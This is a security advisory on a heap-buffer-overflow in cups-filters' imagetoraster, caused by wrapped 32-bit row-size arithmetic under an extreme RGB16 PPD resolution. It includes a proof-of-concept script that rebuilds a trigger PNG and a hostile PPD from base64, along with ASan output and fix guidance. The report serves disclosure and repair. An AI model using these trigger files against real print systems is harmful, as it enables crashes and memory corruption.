imagetoraster: RGB16 row-size multiplication wraps before allocation

Summary

cfFilterImageToRaster() calculates cupsBytesPerLine with unchecked 32-bit
arithmetic. A valid small PNG, a 1-PPI document interpretation, and a PPD
offering an extreme RGB16 resolution produce a logical output row of
536,870,928 bytes, but the calculation wraps to 16. The filter allocates a
32-byte double-row buffer and format_cmy() immediately writes past it.

This is a real heap-buffer-overflow write in project-owned formatting code.
Triggering it requires a malicious or severely misconfigured printer PPD;
ordinary print-job submitters can select an installed mode but do not normally
install arbitrary PPDs.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.png is a valid 9-by-2 grayscale PNG with SHA-256
4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe.
poc/printer.ppd, SHA-256
e2a1f870e7835fc1d0706ccff97ba74c4f240d4eff6108efa082cb3da2efbf9d,
offers a 9,942,054-DPI RGB16 mode on a 1,000-point square page.

Run:

./reproduce.sh

The PoC interprets the nine-pixel image as nine inches using ppi=1. The PPD
then scales that width to 89,478,488 output pixels. This keeps the accepted PNG
tiny while crossing the RGB16 row-size overflow boundary.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: imagetoraster: RGB16 row-size multiplication wraps before allocation
# Finding ID: imagetoraster-rgb16-bytes-per-line-integer-overflow
# Trigger: cfFilterImageToRaster() calculates cupsBytesPerLine with unchecked
# 32-bit arithmetic. A valid small PNG, a 1-PPI document interpretation, and a
# PPD offering an extreme RGB16 resolution produce a logical output row of
# 536,870,928 bytes, but the calculation wraps to 16. The filter allocates a
# 32-byte double-row buffer and format_cmy() immediately writes past it.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (2609 bytes)
write_file printer.ppd e2a1f870e7835fc1d0706ccff97ba74c4f240d4eff6108efa082cb3da2efbf9d <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61W207jMBB971dYPAESOKVdBBVaibZcKuhladnVarUPJpkGa107chxE+fod223j
0ijwwEPH8TmeM8dT53I4mfSPLhP1BB2y1z5u7TUOr5VeMPMTdM6VLFEuoMSaxxFi90ymBUtL/Eqm
gufPJXMlY5VwmXbIYDq+Z4bLZuNwyGQxZ7EpNGjUmg5nR9fF2xtolByqBMSILaydwQIVZuqB5QY0
6akX0AiQcWawWI6Lp89KmxGP/60SUGkGi0wwA8gGxIdKk57dXymDXTnGn2W0SorYILwfyB9YZlr2
Y78VNaMDYpsSF1m+IbBPHvH7KhZPdstrDPvARE9lHPIOuWYih8ZhTwml+/DCY7Qy0wX4tWjPuG5x
uxX6epTh1tmTgCMmlwuWkYg4xijtNolGxhnIxwHxiq5+h0ywJ2OJmn2Ys0KYkLvrDX/Hi0awntxo
tqQ2YOGLC2qNOHaasRhI88whXW7yCWhHkC1owl9R5Oz79xxMhuYSt629rRIPN12Kv+oCn9I/adcW
wF3dURsqS5x+qkTrpLZEV7D4H3WxskjrC/rk/x3qh8oqZyUw1gme88+1z0N4NN2KnJxW2BAqh8dB
JzxL5fl6gFyJwrjz/v58hdz5efsk+tZOMt4IcgKYri4JXvsd3v4qF/5Zs6vxb53PMq30OdFcmh94
x3Gz3HW6zfY1m5vGVorHqItl/wfSQAo6Iq1dO1vZI/tUFdQPFfntD/JvefpMbajI/fZB7uRZGUVd
rMiu/cNDnbKVQ0g4my0z2O1jSAnGsf8bxAPURe9jQ+078GDXSZl8g55yfBq54X26R2vzZ5rJPGMa
ZLyk4eS9VsjVKl7JFxAqA7q+eK+0xg/qOrxZXra3X2QCXnd7u8ZHyoFu5iZ0PJ/74itwbl8mu1VX
rB9GaobvIwH0XsmUQJLCloTBdw/1Kz4ltxJz7+R6NXtd1xGfEty4uGzK3yoOW8lcthubdTjxtdfA
n2YURcSGv9R+CuAHSberXokshKg9/Kv8bSsPkFY+60JubcfPv9SQl9xUdZ829kPgUgPzhbcgXzsi
vpwLe4HlDHSfL0Dmge0Q8+lB6n+o2DrFMQoAAA==
POC_PAYLOAD_1

Result

ASan reports a heap-buffer-overflow WRITE of size 1 in format_cmy() at
imagetoraster.c:2090. The address is exactly after the 32-byte region
allocated by cfFilterImageToRaster() at line 1632. The unsanitized standalone
filter exits with SIGSEGV, status 139.

An isolated CUPS scheduler also accepts the PNG job, passes
ppi=1 ColorModel=Rgb-16 Resolution=9942054dpi, derives
cupsWidth=89478488 and cupsBytesPerLine=16, and reports that
imagetoraster crashed on signal 11. The relevant trace is preserved in
cupsd-pipeline.txt.

The primitive is a broad sequential heap overwrite containing
image/interpolation-derived bytes. It is not demonstrated as an arbitrary
write or code-execution primitive. Large intermediate zoom buffers and the
required hostile printer configuration materially constrain exploitation.

Cause and expected behavior

At imagetoraster.c:1355-1356, both operands are 32-bit fields:

header.cupsBytesPerLine =
    (header.cupsBitsPerPixel * header.cupsWidth + 7) / 8;

For this RGB16 state, 48 * 89,478,488 wraps to 128, yielding a 16-byte row.
The allocation at line 1632 therefore reserves only 32 bytes. format_RGB is
an alias of format_cmy; its 16-bit path at lines 2081-2092 still loops over
the full output width and emits six bytes per pixel.

The row-size calculation and doubled allocation must use checked size_t
arithmetic, and unsupported output dimensions should be rejected before image
zooming or raster formatting. The derived row size must remain consistent with
the formatter's pixel count.

Start with imagetoraster.c at lines 1355-1356 and 1632, then inspect the RGB16 formatting path at lines 2081-2092. Run reproduce.sh with the supplied PoC under the relevant sanitizer setup; done means oversized row calculations are rejected safely before zooming or formatting and the PoC no longer produces the reported heap-buffer-overflow.